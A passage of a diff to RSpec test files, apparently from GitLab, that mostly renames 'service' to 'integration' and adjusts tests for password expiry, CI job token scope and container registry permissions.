- it { is_expected.to have_one(:microsoft_teams_service) }
- it { is_expected.to have_one(:mattermost_service) }
+ it { is_expected.to have_one(:slack_integration) }
+ it { is_expected.to have_one(:microsoft_teams_integration) }
+ it { is_expected.to have_one(:mattermost_integration) }
it { is_expected.to have_one(:hangouts_chat_integration) }
- it { is_expected.to have_one(:unify_circuit_service) }
- it { is_expected.to have_one(:webex_teams_service) }
- it { is_expected.to have_one(:packagist_service) }
- it { is_expected.to have_one(:pushover_service) }
+ it { is_expected.to have_one(:unify_circuit_integration) }
+ it { is_expected.to have_one(:webex_teams_integration) }
+ it { is_expected.to have_one(:packagist_integration) }
+ it { is_expected.to have_one(:pushover_integration) }
it { is_expected.to have_one(:asana_integration) }
it { is_expected.to have_many(:boards) }
it { is_expected.to have_one(:campfire_integration) }
@@ -50,19 +50,19 @@ RSpec.describe Project, factory_default: :keep do
it { is_expected.to have_one(:discord_integration) }
it { is_expected.to have_one(:drone_ci_integration) }
it { is_expected.to have_one(:emails_on_push_integration) }
- it { is_expected.to have_one(:pipelines_email_service) }
+ it { is_expected.to have_one(:pipelines_email_integration) }
it { is_expected.to have_one(:irker_integration) }
- it { is_expected.to have_one(:pivotaltracker_service) }
+ it { is_expected.to have_one(:pivotaltracker_integration) }
it { is_expected.to have_one(:flowdock_integration) }
it { is_expected.to have_one(:assembla_integration) }
- it { is_expected.to have_one(:slack_slash_commands_service) }
- it { is_expected.to have_one(:mattermost_slash_commands_service) }
+ it { is_expected.to have_one(:slack_slash_commands_integration) }
+ it { is_expected.to have_one(:mattermost_slash_commands_integration) }
it { is_expected.to have_one(:buildkite_integration) }
it { is_expected.to have_one(:bamboo_integration) }
- it { is_expected.to have_one(:teamcity_service) }
- it { is_expected.to have_one(:jira_service) }
- it { is_expected.to have_one(:redmine_service) }
- it { is_expected.to have_one(:youtrack_service) }
+ it { is_expected.to have_one(:teamcity_integration) }
+ it { is_expected.to have_one(:jira_integration) }
+ it { is_expected.to have_one(:redmine_integration) }
+ it { is_expected.to have_one(:youtrack_integration) }
it { is_expected.to have_one(:custom_issue_tracker_integration) }
it { is_expected.to have_one(:bugzilla_integration) }
it { is_expected.to have_one(:ewm_integration) }
@@ -80,6 +80,8 @@ RSpec.describe Project, factory_default: :keep do
it { is_expected.to have_one(:error_tracking_setting).class_name('ErrorTracking::ProjectErrorTrackingSetting') }
it { is_expected.to have_one(:project_setting) }
it { is_expected.to have_one(:alerting_setting).class_name('Alerting::ProjectAlertingSetting') }
+ it { is_expected.to have_one(:mock_ci_integration) }
+ it { is_expected.to have_one(:mock_monitoring_integration) }
it { is_expected.to have_many(:commit_statuses) }
it { is_expected.to have_many(:ci_pipelines) }
it { is_expected.to have_many(:ci_refs) }
@@ -656,12 +658,51 @@ RSpec.describe Project, factory_default: :keep do
it { is_expected.to delegate_method(:container_registry_enabled?).to(:project_feature) }
it { is_expected.to delegate_method(:container_registry_access_level).to(:project_feature) }
- context 'when read_container_registry_access_level is disabled' do
- before do
- stub_feature_flags(read_container_registry_access_level: false)
+ include_examples 'ci_cd_settings delegation' do
+ # Skip attributes defined in EE code
+ let(:exclude_attributes) do
+ %w(
+ merge_pipelines_enabled
+ merge_trains_enabled
+ auto_rollback_enabled
+ )
+ end
+ end
+
+ describe '#ci_forward_deployment_enabled?' do
+ it_behaves_like 'a ci_cd_settings predicate method', prefix: 'ci_' do
+ let(:delegated_method) { :forward_deployment_enabled? }
+ end
+ end
+
+ describe '#ci_job_token_scope_enabled?' do
+ it_behaves_like 'a ci_cd_settings predicate method', prefix: 'ci_' do
+ let(:delegated_method) { :job_token_scope_enabled? }
+ end
+ end
+
+ describe '#restrict_user_defined_variables?' do
+ it_behaves_like 'a ci_cd_settings predicate method' do
+ let(:delegated_method) { :restrict_user_defined_variables? }
+ end
+ end
+
+ describe '#keep_latest_artifacts_available?' do
+ it_behaves_like 'a ci_cd_settings predicate method' do
+ let(:delegated_method) { :keep_latest_artifacts_available? }
+ end
+ end
+
+ describe '#keep_latest_artifact?' do
+ it_behaves_like 'a ci_cd_settings predicate method' do
+ let(:delegated_method) { :keep_latest_artifact? }
end
+ end
- it { is_expected.not_to delegate_method(:container_registry_enabled?).to(:project_feature) }
+ describe '#group_runners_enabled?' do
+ it_behaves_like 'a ci_cd_settings predicate method' do
+ let(:delegated_method) { :group_runners_enabled? }
+ end
end
end
@@ -1444,13 +1485,13 @@ RSpec.describe Project, factory_default: :keep do
end
end
- describe '.with_active_jira_services' do
- it 'returns the correct project' do
- active_jira_service = create(:jira_service)
+ describe '.with_active_jira_integrations' do
+ it 'returns the correct integrations' do
+ active_jira_integration = create(:jira_integration)
active_service = create(:service, active: true)
- expect(described_class.with_active_jira_services).to include(active_jira_service.project)
- expect(described_class.with_active_jira_services).not_to include(active_service.project)
+ expect(described_class.with_active_jira_integrations).to include(active_jira_integration.project)
+ expect(described_class.with_active_jira_integrations).not_to include(active_service.project)
end
end
@@ -1555,13 +1596,16 @@ RSpec.describe Project, factory_default: :keep do
end
end
- describe '.with_service' do
+ describe '.with_integration' do
before do
create_list(:prometheus_project, 2)
end
- it 'avoid n + 1' do
- expect { described_class.with_service(:prometheus_service).map(&:prometheus_service) }.not_to exceed_query_limit(1)
+ let(:integration) { :prometheus_integration }
+
+ it 'avoids n + 1' do
+ expect { described_class.with_integration(integration).map(&integration) }
+ .not_to exceed_query_limit(1)
end
end
@@ -2403,20 +2447,6 @@ RSpec.describe Project, factory_default: :keep do
expect(project.container_registry_enabled).to eq(false)
expect(project.container_registry_enabled?).to eq(false)
end
-
- context 'with read_container_registry_access_level disabled' do
- before do
- stub_feature_flags(read_container_registry_access_level: false)
- end
-
- it 'reads project.container_registry_enabled' do
- project.update_column(:container_registry_enabled, true)
- project.project_feature.update_column(:container_registry_access_level, ProjectFeature::DISABLED)
-
- expect(project.container_registry_enabled).to eq(true)
- expect(project.container_registry_enabled?).to eq(true)
- end
- end
end
describe '#has_container_registry_tags?' do
@@ -3083,8 +3113,8 @@ RSpec.describe Project, factory_default: :keep do
context 'LFS disabled in group' do
before do
+ stub_lfs_setting(enabled: true)
project.namespace.update_attribute(:lfs_enabled, false)
- enable_lfs
end
it_behaves_like 'project overrides group'
@@ -3092,14 +3122,18 @@ RSpec.describe Project, factory_default: :keep do
context 'LFS enabled in group' do
before do
+ stub_lfs_setting(enabled: true)
project.namespace.update_attribute(:lfs_enabled, true)
- enable_lfs
end
it_behaves_like 'project overrides group'
end
describe 'LFS disabled globally' do
+ before do
+ stub_lfs_setting(enabled: false)
+ end
+
shared_examples 'it always returns false' do
it do
expect(project.lfs_enabled?).to be_falsey
@@ -3896,10 +3930,6 @@ RSpec.describe Project, factory_default: :keep do
end
end
- def enable_lfs
- allow(Gitlab.config.lfs).to receive(:enabled).and_return(true)
- end
-
describe '#pages_url' do
let(:group) { create(:group, name: 'Group') }
let(:nested_group) { create(:group, parent: group) }
@@ -5350,27 +5380,27 @@ RSpec.describe Project, factory_default: :keep do
end
end
- describe '#execute_services' do
- let(:service) { create(:slack_service, push_events: true, merge_requests_events: false, active: true) }
+ describe '#execute_integrations' do
+ let(:integration) { create(:integrations_slack, push_events: true, merge_requests_events: false, active: true) }
- it 'executes services with the specified scope' do
+ it 'executes integrations with the specified scope' do
data = 'any data'
expect_next_found_instance_of(Integrations::Slack) do |instance|
expect(instance).to receive(:async_execute).with(data).once
end
- service.project.execute_services(data, :push_hooks)
+ integration.project.execute_integrations(data, :push_hooks)
end
- it 'does not execute services that don\'t match the specified scope' do
+ it 'does not execute integration that don\'t match the specified scope' do
expect(Integrations::Slack).not_to receive(:allocate).and_wrap_original do |method|
method.call.tap do |instance|
expect(instance).not_to receive(:async_execute)
end
end
- service.project.execute_services(anything, :merge_request_hooks)
+ integration.project.execute_integrations(anything, :merge_request_hooks)
end
end
@@ -5401,16 +5431,16 @@ RSpec.describe Project, factory_default: :keep do
end
end
- describe '#has_active_services?' do
+ describe '#has_active_integrations?' do
let_it_be(:project) { create(:project) }
- it { expect(project.has_active_services?).to be_falsey }
+ it { expect(project.has_active_integrations?).to be_falsey }
it 'returns true when a matching service exists' do
create(:custom_issue_tracker_integration, push_events: true, merge_requests_events: false, project: project)
- expect(project.has_active_services?(:merge_request_hooks)).to be_falsey
- expect(project.has_active_services?).to be_truthy
+ expect(project.has_active_integrations?(:merge_request_hooks)).to be_falsey
+ expect(project.has_active_integrations?).to be_truthy
end
end
@@ -5820,112 +5850,92 @@ RSpec.describe Project, factory_default: :keep do
end
end
- describe '#find_or_initialize_services' do
+ describe '#find_or_initialize_integrations' do
let_it_be(:subject) { create(:project) }
it 'avoids N+1 database queries' do
- control_count = ActiveRecord::QueryRecorder.new { subject.find_or_initialize_services }.count
+ control_count = ActiveRecord::QueryRecorder.new { subject.find_or_initialize_integrations }.count
expect(control_count).to be <= 4
end
- it 'avoids N+1 database queries with more available services' do
- allow(Integration).to receive(:available_services_names).and_return(%w[pushover])
- control_count = ActiveRecord::QueryRecorder.new { subject.find_or_initialize_services }
-
- allow(Integration).to receive(:available_services_names).and_call_original
- expect { subject.find_or_initialize_services }.not_to exceed_query_limit(control_count)
- end
-
- context 'with disabled services' do
- before do
- allow(Integration).to receive(:available_services_names).and_return(%w[prometheus pushover teamcity])
- allow(subject).to receive(:disabled_services).and_return(%w[prometheus])
- end
-
- it 'returns only enabled services sorted' do
- services = subject.find_or_initialize_services
+ it 'avoids N+1 database queries with more available integrations' do
+ allow(Integration).to receive(:available_integration_names).and_return(%w[pushover])
+ control_count = ActiveRecord::QueryRecorder.new { subject.find_or_initialize_integrations }
- expect(services.size).to eq(2)
- expect(services.map(&:title)).to eq(['JetBrains TeamCity', 'Pushover'])
- end
+ allow(Integration).to receive(:available_integration_names).and_call_original
+ expect { subject.find_or_initialize_integrations }.not_to exceed_query_limit(control_count)
end
- end
-
- describe '#disabled_services' do
- subject { build(:project).disabled_services }
- context 'without datadog_ci_integration' do
+ context 'with disabled integrations' do
before do
- stub_feature_flags(datadog_ci_integration: false)
+ allow(Integration).to receive(:available_integration_names).and_return(%w[prometheus pushover teamcity])
+ allow(subject).to receive(:disabled_integrations).and_return(%w[prometheus])
end
- it { is_expected.to include('datadog') }
- end
-
- context 'with datadog_ci_integration' do
- before do
- stub_feature_flags(datadog_ci_integration: true)
+ it 'returns only enabled integrations sorted' do
+ expect(subject.find_or_initialize_integrations).to match [
+ have_attributes(title: 'JetBrains TeamCity'),
+ have_attributes(title: 'Pushover')
+ ]
end
-
- it { is_expected.not_to include('datadog') }
end
end
- describe '#find_or_initialize_service' do
+ describe '#find_or_initialize_integration' do
it 'avoids N+1 database queries' do
- allow(Integration).to receive(:available_services_names).and_return(%w[prometheus pushover])
+ allow(Integration).to receive(:available_integration_names).and_return(%w[prometheus pushover])
- control_count = ActiveRecord::QueryRecorder.new { subject.find_or_initialize_service('prometheus') }.count
+ control_count = ActiveRecord::QueryRecorder.new { subject.find_or_initialize_integration('prometheus') }.count
- allow(Integration).to receive(:available_services_names).and_call_original
+ allow(Integration).to receive(:available_integration_names).and_call_original
- expect { subject.find_or_initialize_service('prometheus') }.not_to exceed_query_limit(control_count)
+ expect { subject.find_or_initialize_integration('prometheus') }.not_to exceed_query_limit(control_count)
end
it 'returns nil if integration is disabled' do
- allow(subject).to receive(:disabled_services).and_return(%w[prometheus])
+ allow(subject).to receive(:disabled_integrations).and_return(%w[prometheus])
- expect(subject.find_or_initialize_service('prometheus')).to be_nil
+ expect(subject.find_or_initialize_integration('prometheus')).to be_nil
end
context 'with an existing integration' do
subject { create(:project) }
before do
- create(:prometheus_service, project: subject, api_url: 'https://prometheus.project.com/')
+ create(:prometheus_integration, project: subject, api_url: 'https://prometheus.project.com/')
end
it 'retrieves the integration' do
- expect(subject.find_or_initialize_service('prometheus').api_url).to eq('https://prometheus.project.com/')
+ expect(subject.find_or_initialize_integration('prometheus').api_url).to eq('https://prometheus.project.com/')
end
end
context 'with an instance-level and template integrations' do
before do
- create(:prometheus_service, :instance, api_url: 'https://prometheus.instance.com/')
- create(:prometheus_service, :template, api_url: 'https://prometheus.template.com/')
+ create(:prometheus_integration, :instance, api_url: 'https://prometheus.instance.com/')
+ create(:prometheus_integration, :template, api_url: 'https://prometheus.template.com/')
end
- it 'builds the service from the instance if exists' do
- expect(subject.find_or_initialize_service('prometheus').api_url).to eq('https://prometheus.instance.com/')
+ it 'builds the integration from the instance integration' do
+ expect(subject.find_or_initialize_integration('prometheus').api_url).to eq('https://prometheus.instance.com/')
end
end
- context 'with an instance-level and template integrations' do
+ context 'with a template integration and no instance-level' do
before do
- create(:prometheus_service, :template, api_url: 'https://prometheus.template.com/')
+ create(:prometheus_integration, :template, api_url: 'https://prometheus.template.com/')
end
- it 'builds the service from the template if instance does not exists' do
- expect(subject.find_or_initialize_service('prometheus').api_url).to eq('https://prometheus.template.com/')
+ it 'builds the integration from the template' do
+ expect(subject.find_or_initialize_integration('prometheus').api_url).to eq('https://prometheus.template.com/')
end
end
- context 'without an exisiting integration, nor instance-level or template' do
- it 'builds the service if instance or template does not exists' do
- expect(subject.find_or_initialize_service('prometheus')).to be_a(PrometheusService)
- expect(subject.find_or_initialize_service('prometheus').api_url).to be_nil
+ context 'without an exisiting integration, or instance-level or template' do
+ it 'builds the integration' do
+ expect(subject.find_or_initialize_integration('prometheus')).to be_a(::Integrations::Prometheus)
+ expect(subject.find_or_initialize_integration('prometheus').api_url).to be_nil
end
end
end
@@ -6605,25 +6615,25 @@ RSpec.describe Project, factory_default: :keep do
end
end
- describe '#prometheus_service_active?' do
+ describe '#prometheus_integration_active?' do
let(:project) { create(:project) }
- subject { project.prometheus_service_active? }
+ subject { project.prometheus_integration_active? }
before do
- create(:prometheus_service, project: project, manual_configuration: manual_configuration)
+ create(:prometheus_integration, project: project, manual_configuration: manual_configuration)
end
- context 'when project has an activated prometheus service' do
+ context 'when project has an activated prometheus integration' do
let(:manual_configuration) { true }
it { is_expected.to be_truthy }
end
- context 'when project has an inactive prometheus service' do
+ context 'when project has an inactive prometheus integration' do
let(:manual_configuration) { false }
- it 'the service is marked as inactive' do
+ it 'the integration is marked as inactive' do
expect(subject).to be_falsey
end
end
diff --git a/spec/models/prometheus_alert_spec.rb b/spec/models/prometheus_alert_spec.rb
index 8e517e1764e..bfe2c7cc2a4 100644
--- a/spec/models/prometheus_alert_spec.rb
+++ b/spec/models/prometheus_alert_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe PrometheusAlert do
let_it_be(:project) { build(:project) }
+
let(:metric) { build(:prometheus_metric) }
describe '.distinct_projects' do
diff --git a/spec/models/protected_branch/push_access_level_spec.rb b/spec/models/protected_branch/push_access_level_spec.rb
index fa84cd660cb..13d33b95b16 100644
--- a/spec/models/protected_branch/push_access_level_spec.rb
+++ b/spec/models/protected_branch/push_access_level_spec.rb
@@ -40,6 +40,7 @@ RSpec.describe ProtectedBranch::PushAccessLevel do
let_it_be(:protected_branch) { create(:protected_branch, :no_one_can_push, project: project) }
let_it_be(:user) { create(:user) }
let_it_be(:deploy_key) { create(:deploy_key, user: user) }
+
let!(:deploy_keys_project) { create(:deploy_keys_project, project: project, deploy_key: deploy_key, can_push: can_push) }
let(:can_push) { true }
diff --git a/spec/models/repository_spec.rb b/spec/models/repository_spec.rb
index c896b6c0c6c..452eafe733f 100644
--- a/spec/models/repository_spec.rb
+++ b/spec/models/repository_spec.rb
@@ -41,6 +41,7 @@ RSpec.describe Repository do
describe '#branch_names_contains' do
let_it_be(:project) { create(:project, :repository) }
+
let(:repository) { project.repository }
subject { repository.branch_names_contains(sample_commit.id) }
@@ -398,6 +399,7 @@ RSpec.describe Repository do
describe '#new_commits' do
let_it_be(:project) { create(:project, :repository) }
+
let(:repository) { project.repository }
subject { repository.new_commits(rev) }
@@ -426,6 +428,7 @@ RSpec.describe Repository do
describe '#commits_by' do
let_it_be(:project) { create(:project, :repository) }
+
let(:oids) { TestEnv::BRANCH_SHA.values }
subject { project.repository.commits_by(oids: oids) }
@@ -2990,6 +2993,7 @@ RSpec.describe Repository do
describe '#merge_base' do
let_it_be(:project) { create(:project, :repository) }
+
subject(:repository) { project.repository }
it 'only makes one gitaly call' do
@@ -3088,6 +3092,7 @@ RSpec.describe Repository do
describe "#blobs_metadata" do
let_it_be(:project) { create(:project, :repository) }
+
let(:repository) { project.repository }
def expect_metadata_blob(thing)
diff --git a/spec/models/service_desk_setting_spec.rb b/spec/models/service_desk_setting_spec.rb
index 8ccbd983ba1..f99ac84175c 100644
--- a/spec/models/service_desk_setting_spec.rb
+++ b/spec/models/service_desk_setting_spec.rb
@@ -10,7 +10,7 @@ RSpec.describe ServiceDeskSetting do
it { is_expected.to validate_length_of(:outgoing_name).is_at_most(255) }
it { is_expected.to validate_length_of(:project_key).is_at_most(255) }
it { is_expected.to allow_value('abc123_').for(:project_key) }
- it { is_expected.not_to allow_value('abc 12').for(:project_key) }
+ it { is_expected.not_to allow_value('abc 12').for(:project_key).with_message("can contain only lowercase letters, digits, and '_'.") }
it { is_expected.not_to allow_value('Big val').for(:project_key) }
describe '.valid_issue_template' do
diff --git a/spec/models/snippet_repository_spec.rb b/spec/models/snippet_repository_spec.rb
index 11196f06529..40a28b9e0cc 100644
--- a/spec/models/snippet_repository_spec.rb
+++ b/spec/models/snippet_repository_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe SnippetRepository do
let_it_be(:user) { create(:user) }
+
let(:snippet) { create(:personal_snippet, :repository, author: user) }
let(:snippet_repository) { snippet.snippet_repository }
let(:commit_opts) { { branch_name: 'master', message: 'whatever' } }
diff --git a/spec/models/snippet_spec.rb b/spec/models/snippet_spec.rb
index 06e9899c0bd..19d3895177f 100644
--- a/spec/models/snippet_spec.rb
+++ b/spec/models/snippet_spec.rb
@@ -722,6 +722,7 @@ RSpec.describe Snippet do
describe '#list_files' do
let_it_be(:snippet) { create(:snippet, :repository) }
+
let(:ref) { 'test-ref' }
subject { snippet.list_files(ref) }
@@ -827,14 +828,10 @@ RSpec.describe Snippet do
end
context 'when default branch in settings is different from "master"' do
- let(:default_branch) { 'main' }
+ let(:default_branch) { 'custom-branch' }
it 'changes the HEAD reference to the default branch' do
- expect(File.read(head_path).squish).to eq 'ref: refs/heads/master'
-
- subject
-
- expect(File.read(head_path).squish).to eq "ref: refs/heads/#{default_branch}"
+ expect { subject }.to change { File.read(head_path).squish }.to("ref: refs/heads/#{default_branch}")
end
end
end
diff --git a/spec/models/terraform/state_spec.rb b/spec/models/terraform/state_spec.rb
index 1319e2adb03..a113ae37203 100644
--- a/spec/models/terraform/state_spec.rb
+++ b/spec/models/terraform/state_spec.rb
@@ -16,6 +16,7 @@ RSpec.describe Terraform::State do
describe 'scopes' do
describe '.ordered_by_name' do
let_it_be(:project) { create(:project) }
+
let(:names) { %w(state_d state_b state_a state_c) }
subject { described_class.ordered_by_name }
diff --git a/spec/models/timelog_spec.rb b/spec/models/timelog_spec.rb
index bc042f7a639..9d6fda1d2a9 100644
--- a/spec/models/timelog_spec.rb
+++ b/spec/models/timelog_spec.rb
@@ -17,6 +17,8 @@ RSpec.describe Timelog do
it { is_expected.to validate_presence_of(:time_spent) }
it { is_expected.to validate_presence_of(:user) }
+ it { is_expected.to validate_length_of(:summary).is_at_most(255) }
+
it { expect(subject.project_id).not_to be_nil }
describe 'Issuable validation' do
diff --git a/spec/models/u2f_registration_spec.rb b/spec/models/u2f_registration_spec.rb
index 1f2e4d1e447..aba2f27d104 100644
--- a/spec/models/u2f_registration_spec.rb
+++ b/spec/models/u2f_registration_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe U2fRegistration do
let_it_be(:user) { create(:user) }
+
let(:u2f_registration) do
device = U2F::FakeU2F.new(FFaker::BaconIpsum.characters(5))
create(:u2f_registration, name: 'u2f_device',
diff --git a/spec/models/user_spec.rb b/spec/models/user_spec.rb
index e86a9c262d8..0eb769c65cd 100644
--- a/spec/models/user_spec.rb
+++ b/spec/models/user_spec.rb
@@ -1005,6 +1005,7 @@ RSpec.describe User do
let_it_be(:valid_token_and_notified) { create(:personal_access_token, user: user2, expires_at: 2.days.from_now, expire_notification_delivered: true) }
let_it_be(:valid_token1) { create(:personal_access_token, user: user2, expires_at: 2.days.from_now) }
let_it_be(:valid_token2) { create(:personal_access_token, user: user2, expires_at: 2.days.from_now) }
+
let(:users) { described_class.with_expiring_and_not_notified_personal_access_tokens(from) }
context 'in one day' do
@@ -1898,6 +1899,14 @@ RSpec.describe User do
expect(user.deactivated?).to be_truthy
end
+
+ it 'sends deactivated user an email' do
+ expect_next_instance_of(NotificationService) do |notification|
+ allow(notification).to receive(:user_deactivated).with(user.name, user.notification_email)
+ end
+
+ user.deactivate
+ end
end
context "a user who is blocked" do
@@ -2826,6 +2835,14 @@ RSpec.describe User do
end
end
+ describe '#matches_identity?' do
+ it 'finds the identity when the DN is formatted differently' do
+ user = create(:omniauth_user, provider: 'ldapmain', extern_uid: 'uid=john smith,ou=people,dc=example,dc=com')
+
+ expect(user.matches_identity?('ldapmain', 'uid=John Smith, ou=People, dc=example, dc=com')).to eq(true)
+ end
+ end
+
describe '#ldap_block' do
let(:user) { create(:omniauth_user, provider: 'ldapmain', name: 'John Smith') }
@@ -4241,6 +4258,7 @@ RSpec.describe User do
describe '#source_groups_of_two_factor_authentication_requirement' do
let_it_be(:group_not_requiring_2FA) { create :group }
+
let(:user) { create :user }
before do
@@ -5258,11 +5276,43 @@ RSpec.describe User do
end
describe '#password_expired_if_applicable?' do
- let(:user) { build(:user, password_expires_at: password_expires_at) }
+ let(:user) { build(:user, password_expires_at: password_expires_at, password_automatically_set: set_automatically?) }
subject { user.password_expired_if_applicable? }
context 'when user is not ldap user' do
+ context 'when user has password set automatically' do
+ let(:set_automatically?) { true }
+
+ context 'when password_expires_at is not set' do
+ let(:password_expires_at) {}
+
+ it 'returns false' do
+ is_expected.to be_falsey
+ end
+ end
+
+ context 'when password_expires_at is in the past' do
+ let(:password_expires_at) { 1.minute.ago }
+
+ it 'returns true' do
+ is_expected.to be_truthy
+ end
+ end
+
+ context 'when password_expires_at is in the future' do
+ let(:password_expires_at) { 1.minute.from_now }
+
+ it 'returns false' do
+ is_expected.to be_falsey
+ end
+ end
+ end
+ end
+
+ context 'when user has password not set automatically' do
+ let(:set_automatically?) { false }
+
context 'when password_expires_at is not set' do
let(:password_expires_at) {}
@@ -5274,8 +5324,8 @@ RSpec.describe User do
context 'when password_expires_at is in the past' do
let(:password_expires_at) { 1.minute.ago }
- it 'returns true' do
- is_expected.to be_truthy
+ it 'returns false' do
+ is_expected.to be_falsey
end
end
@@ -5319,6 +5369,34 @@ RSpec.describe User do
end
end
end
+
+ context 'when user is a project bot' do
+ let(:user) { build(:user, :project_bot, password_expires_at: password_expires_at) }
+
+ context 'when password_expires_at is not set' do
+ let(:password_expires_at) {}
+
+ it 'returns false' do
+ is_expected.to be_falsey
+ end
+ end
+
+ context 'when password_expires_at is in the past' do
+ let(:password_expires_at) { 1.minute.ago }
+
+ it 'returns false' do
+ is_expected.to be_falsey
+ end
+ end
+
+ context 'when password_expires_at is in the future' do
+ let(:password_expires_at) { 1.minute.from_now }
+
+ it 'returns false' do
+ is_expected.to be_falsey
+ end
+ end
+ end
end
describe '#read_only_attribute?' do
@@ -5787,6 +5865,20 @@ RSpec.describe User do
end
end
+ describe '#default_dashboard?' do
+ it 'is the default dashboard' do
+ user = build(:user)
+
+ expect(user.default_dashboard?).to be true
+ end
+
+ it 'is not the default dashboard' do
+ user = build(:user, dashboard: 'stars')
+
+ expect(user.default_dashboard?).to be false
+ end
+ end
+
describe '.dormant' do
it 'returns dormant users' do
freeze_time do
@@ -5829,4 +5921,17 @@ RSpec.describe User do
end
end
end
+
+ describe '.by_provider_and_extern_uid' do
+ it 'calls Identity model scope to ensure case-insensitive query', :aggregate_failures do
+ expected_user = create(:user)
+ create(:identity, extern_uid: 'some-other-name-id', provider: :github)
+ create(:identity, extern_uid: 'my_github_id', provider: :gitlab)
+ create(:identity)
+ create(:identity, user: expected_user, extern_uid: 'my_github_id', provider: :github)
+
+ expect(Identity).to receive(:with_extern_uid).and_call_original
+ expect(described_class.by_provider_and_extern_uid(:github, 'my_github_id')).to match_array([expected_user])
+ end
+ end
end
diff --git a/spec/models/wiki_page_spec.rb b/spec/models/wiki_page_spec.rb
index 579a9e664cf..699dd35196f 100644
--- a/spec/models/wiki_page_spec.rb
+++ b/spec/models/wiki_page_spec.rb
@@ -201,11 +201,10 @@ RSpec.describe WikiPage do
expect(subject.errors.messages).to eq(title: ["can't be blank"])
end
- it "validates presence of content" do
+ it "does not validate presence of content" do
subject.attributes.delete(:content)
- expect(subject).not_to be_valid
- expect(subject.errors.messages).to eq(content: ["can't be blank"])
+ expect(subject).to be_valid
end
describe '#validate_content_size_limit' do
diff --git a/spec/policies/global_policy_spec.rb b/spec/policies/global_policy_spec.rb
index 85026ced466..122612df355 100644
--- a/spec/policies/global_policy_spec.rb
+++ b/spec/policies/global_policy_spec.rb
@@ -249,7 +249,7 @@ RSpec.describe GlobalPolicy do
context 'user with expired password' do
before do
- current_user.update!(password_expires_at: 2.minutes.ago)
+ current_user.update!(password_expires_at: 2.minutes.ago, password_automatically_set: true)
end
it { is_expected.not_to be_allowed(:access_api) }
@@ -445,7 +445,7 @@ RSpec.describe GlobalPolicy do
context 'user with expired password' do
before do
- current_user.update!(password_expires_at: 2.minutes.ago)
+ current_user.update!(password_expires_at: 2.minutes.ago, password_automatically_set: true)
end
it { is_expected.not_to be_allowed(:access_git) }
@@ -537,7 +537,7 @@ RSpec.describe GlobalPolicy do
context 'user with expired password' do
before do
- current_user.update!(password_expires_at: 2.minutes.ago)
+ current_user.update!(password_expires_at: 2.minutes.ago, password_automatically_set: true)
end
it { is_expected.not_to be_allowed(:use_slash_commands) }
diff --git a/spec/policies/integration_policy_spec.rb b/spec/policies/integration_policy_spec.rb
index d490045c1e1..ef628c1c4b1 100644
--- a/spec/policies/integration_policy_spec.rb
+++ b/spec/policies/integration_policy_spec.rb
@@ -9,8 +9,8 @@ RSpec.describe IntegrationPolicy, :models do
subject(:policy) { Ability.policy_for(user, integration) }
- context 'when the integration is a prometheus_service' do
- let(:integration) { create(:prometheus_service) }
+ context 'when the integration is a prometheus_integration' do
+ let(:integration) { create(:prometheus_integration) }
describe 'rules' do
it { is_expected.to be_disallowed :admin_project }
diff --git a/spec/policies/project_policy_spec.rb b/spec/policies/project_policy_spec.rb
index f3c92751d06..59123c3695a 100644
--- a/spec/policies/project_policy_spec.rb
+++ b/spec/policies/project_policy_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe ProjectPolicy do
include ExternalAuthorizationServiceHelpers
+ include AdminModeHelper
include_context 'ProjectPolicy context'
let(:project) { public_project }
@@ -70,7 +71,7 @@ RSpec.describe ProjectPolicy do
context 'when external tracker configured' do
it 'does not include the issues permissions' do
- create(:jira_service, project: project)
+ create(:jira_integration, project: project)
expect_disallowed :read_issue, :read_issue_iid, :create_issue, :update_issue, :admin_issue, :create_incident
end
@@ -1423,6 +1424,7 @@ RSpec.describe ProjectPolicy do
before do
current_user.set_ci_job_token_scope!(job)
+ scope_project.update!(ci_job_token_scope_enabled: true)
end
context 'when accessing a private project' do
@@ -1442,6 +1444,14 @@ RSpec.describe ProjectPolicy do
end
it { is_expected.to be_disallowed(:guest_access) }
+
+ context 'when job token scope is disabled' do
+ before do
+ scope_project.update!(ci_job_token_scope_enabled: false)
+ end
+
+ it { is_expected.to be_allowed(:guest_access) }
+ end
end
end
@@ -1462,6 +1472,14 @@ RSpec.describe ProjectPolicy do
end
it { is_expected.to be_disallowed(:public_access) }
+
+ context 'when job token scope is disabled' do
+ before do
+ scope_project.update!(ci_job_token_scope_enabled: false)
+ end
+
+ it { is_expected.to be_allowed(:public_access) }
+ end
end
end
end
@@ -1469,7 +1487,12 @@ RSpec.describe ProjectPolicy do
describe 'container_image policies' do
using RSpec::Parameterized::TableSyntax
- let(:guest_operations_permissions) { [:read_container_image] }
+ # These are permissions that admins should not have when the project is private
+ # or the container registry is private.
+ let(:admin_excluded_permissions) { [:build_read_container_image] }
+
+ let(:anonymous_operations_permissions) { [:read_container_image] }
+ let(:guest_operations_permissions) { anonymous_operations_permissions + [:build_read_container_image] }
let(:developer_operations_permissions) do
guest_operations_permissions + [
@@ -1483,47 +1506,67 @@ RSpec.describe ProjectPolicy do
]
end
+ let(:all_permissions) { maintainer_operations_permissions }
+
where(:project_visibility, :access_level, :role, :allowed) do
+ :public | ProjectFeature::ENABLED | :admin | true
+ :public | ProjectFeature::ENABLED | :owner | true
:public | ProjectFeature::ENABLED | :maintainer | true
:public | ProjectFeature::ENABLED | :developer | true
:public | ProjectFeature::ENABLED | :reporter | true
:public | ProjectFeature::ENABLED | :guest | true
:public | ProjectFeature::ENABLED | :anonymous | true
+ :public | ProjectFeature::PRIVATE | :admin | true
+ :public | ProjectFeature::PRIVATE | :owner | true
:public | ProjectFeature::PRIVATE | :maintainer | true
:public | ProjectFeature::PRIVATE | :developer | true
:public | ProjectFeature::PRIVATE | :reporter | true
:public | ProjectFeature::PRIVATE | :guest | false
:public | ProjectFeature::PRIVATE | :anonymous | false
+ :public | ProjectFeature::DISABLED | :admin | false
+ :public | ProjectFeature::DISABLED | :owner | false
:public | ProjectFeature::DISABLED | :maintainer | false
:public | ProjectFeature::DISABLED | :developer | false
:public | ProjectFeature::DISABLED | :reporter | false
:public | ProjectFeature::DISABLED | :guest | false
:public | ProjectFeature::DISABLED | :anonymous | false
+ :internal | ProjectFeature::ENABLED | :admin | true
+ :internal | ProjectFeature::ENABLED | :owner | true
:internal | ProjectFeature::ENABLED | :maintainer | true
